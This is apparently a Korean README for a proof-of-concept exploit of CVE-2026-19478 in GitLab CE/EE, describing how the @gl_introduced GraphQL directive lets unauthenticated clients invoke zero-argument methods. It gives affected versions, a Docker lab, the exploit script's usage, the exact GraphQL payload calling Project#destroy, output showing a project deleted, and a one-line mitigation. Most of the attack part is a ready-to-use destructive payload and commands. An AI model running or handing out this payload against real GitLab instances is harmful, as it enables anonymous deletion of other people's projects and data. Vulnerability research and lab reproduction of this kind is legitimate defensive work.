
CVE-2026-19478에 대한 개념 증명 익스플로잇으로, GitLab CE/EE의 인증되지 않은 GraphQL 인젝션을 통해 임의 메서드 호출 및 프로젝트 삭제를 허용합니다.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced 인증 없는 임의 메서드 호출 PoC ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478은 GitLab CE/EE의 인증 없는 데이터 조작/삭제 취약점입니다 (CVSS 9.4). GitLab은 롤링 배포 순방향 호환성을 위해 GraphQL 클라이언트 지시문
@gl_introduced(version: "X.Y.Z")을 제공합니다. 쿼리가 실행 중인 서버보다 최신 버전의 필드를 지정하면, 트레이서가 정적 검증 전에 이를 제거하여 쿼리가 검증을 통과하고, 실행 시 알 수 없는 필드는 리졸버가 없는 폴백 필드에 의해 해석됩니다. graphql-ruby에서 리졸버가 없는 필드는object.public_send(field_name)을 호출하여 해석됩니다. 따라서 클라이언트는 현재 해석 중인 객체의 0-인자 메서드와 동일한 필드를 지정할 수 있으며, 서버가 이를 호출합니다. 공개 프로젝트를 해석하고destroy라는 이름의 "미래 필드"를 요청하면Project#destroy가 실행되어 계정, 토큰, 사용자 상호작용 없이 공개 프로젝트(또는 사용자 데이터)를 삭제합니다.
| 분류 | 버전 |
|---|---|
| 취약 | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| 패치됨 | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 이상 |
Resolvers::NilResolver(메서드를 호출하지 않고 nil 반환)를 통해 라우팅합니다취약한 GitLab을 빌드하고 실행합니다. 인증 없이 삭제할 수 있는 공개 저장소 victim/demo가 자동으로 시드됩니다. GitLab이 재구성 및 시드를 완료하는 데 약 3~5분이 소요됩니다.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| 사전 조건 | 이 랩에서의 상태 |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| 익명으로 접근 가능한 공개 프로젝트 | victim/demo (시드됨) |
| 인증 없는 GraphQL 엔드포인트 접근 가능 | /api/graphql 노출됨 |
익스플로잇 gitlab_exploit.py는 자격 증명 없이 지정한 모든 공개 저장소를 삭제합니다. GraphQL 필드 이름 destroy를 Project#destroy 호출로 변환하는 @gl_introduced 페이로드를 전송한 후, REST API(404)를 통해 삭제를 확인합니다.
# python3 gitlab_exploit.py <대상 ip:port> --repo <그룹/이름>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] 대상 ......... http://172.17.0.2:3000
[*] 삭제 전 (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (존재함)
[*] 페이로드 (인증 없음) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] 응답 ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] 비동기 삭제 완료 대기 중 ...
[+] 삭제 후 (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] 성공 - 인증 없는 요청이 'victim/demo'를 삭제했습니다. CVE-2026-19478 입증됨.
옵션:
--detect — 안전한 비파괴적 확인 (destroy 대신 무해한 to_param 메서드 호출)--repo group/name — 인스턴스의 모든 공개 프로젝트를 대상으로 지정--insecure — https:// 대상에 대한 TLS 검증 건너뛰기@gl_introduced 지시문/버전 필터 경로를 차단하거나 /api/graphql에 대한 인증 없는 접근을 제한